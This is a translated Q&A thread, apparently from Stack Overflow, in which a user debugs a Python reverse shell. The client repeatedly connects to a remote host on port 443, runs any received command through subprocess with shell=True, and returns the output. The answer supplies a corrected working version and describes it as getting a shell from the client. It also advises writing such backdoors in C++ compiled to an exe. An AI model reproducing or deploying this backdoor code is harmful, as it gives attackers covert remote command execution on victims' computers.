【问题标题】:How to use sockets in Python and subprocess?如何在 Python 和子进程中使用套接字?
【发布时间】:2016-01-13 20:19:22
【问题描述】:

/*

嘿,这个脚本纯粹是为了好玩,除了它易于停止和检测之外,没有任何违法行为。进一步说如果我将其用于非法活动,我为什么要在这里发布?

*/

我的问题是我无法从客户端执行 cmd 命令。我不知道为什么,尽管我暗示它与某种套接字错误有关。当我尝试执行命令时,无论我等待多长时间,它都什么都不做。客户端没有问题,因为我已经使用下面代码的更简单版本进行了测试。

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('IP here')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
def start():
    conntrue = None
    while conntrue is None:
        try:
            conntrue = s.connect((host, port))
            s.send("[+] We are connected to %s") % (username)
            while True:
                try:
                    exec_code = s.recv(1024)
                    if exec_code == "quit":
                        break
                    elif exec_code == "Hey":
                        try:
                            proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                            stdout_value = proc.stdout.read() + proc.stderr.read()
                            s.send(stdout_value)
                        except:
                            s.send("[+] was wrong, just exec it manually")
                    else:
                        proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                        stdout_value = proc.stdout.read() + proc.stderr.read()
                        s.send(stdout_value)
                except:
                    s.close()
        except:
            conntrue = None
            pass
    s.close()
start()

【问题讨论】:

  • 什么是“无法从客户端执行 cmd 命令”?为什么你不能?你有错误吗?它执行错误的事情吗?代码崩溃了吗?
  • 不相关:将stdout_value = proc.stdout.read() + proc.stderr.read() 替换为output = b"".join(proc.communicate()),否则如果您的子进程期望输入或在stderr 上生成足够的输出以填充相应的操作系统管道缓冲区,则它们可能会挂起。
  • 您的代码很好地说明了为什么您不应该使用裸露的except: 语句:它隐藏了代码中的错误。首先记录您遇到的所有异常(并修复相应的错误)。
  • @J.F.Sebastian 谢谢你,使用了except Exception, e 来查找错误。我不会上传它,以防有人将它用于任何非法行为。
  • 另外,如果您对子进程输出不做任何事情,那么您可以直接将其重定向到套接字:Popen(..., stdout=s, stderr=STDOUT), example

标签: python python-2.7 sockets subprocess


【解决方案1】:

给你,这是一个从你的客户端获取 shell 的工作代码。我怀疑你无论如何都可以使用这个非法的东西,python 不是用于后门的。对于这种代码,您应该考虑使用 C++,因为它不仅速度快,而且可以编译成 exe。而 python 需要 python 解释器,因此不能在 windows 上运行(除非你得到 py2exe)。

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()

尽量不要单独使用 except 使用 except Exception,variable 来查找代码中的错误然后替换为裸的 except。

【讨论】:

  • -1,如果正在运行的程序在写入标准输出之前写入标准错误(并阻止该写入完成),则会导致死锁。
猜你喜欢
  • 1970-01-01
  • 2019-05-03
  • 1970-01-01
  • 2022-01-15
  • 1970-01-01
  • 2017-07-08
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多